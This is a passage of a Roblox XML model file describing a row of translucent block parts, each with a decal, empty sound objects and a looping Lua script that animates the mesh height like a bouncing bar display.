											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX953">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">cn3fqe3</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX954">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">7uwo1om</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX955">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX956">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>88.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">1</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX957">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX958">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">zu6hr68</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX959">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1.20000005</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX960">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">dc1y9k</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX961">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">zwdv</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX962">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX963">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>87.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">1</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX964">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX965">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">6odp5e496</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX966">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1.39999998</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX967">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">ty8dgf8b</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX968">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">17fsaoe7</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX969">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX970">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>86.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">1</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX971">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX972">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">7qs85yza</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX973">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1.60000002</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX974">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">lyqx</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX975">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">btfya</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX976">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX977">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>85.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">1</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX978">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX979">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">j5a4t</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX980">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1.79999995</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX981">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">0if39f4o</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX982">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">easdz</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX983">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX984">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>84.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX985">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX986">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">s46ujma</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX987">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>2</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX988">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">r7ytuig</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX989">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">ndsu0b</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX990">
									<Properties>
										<token name="Face">1</token>
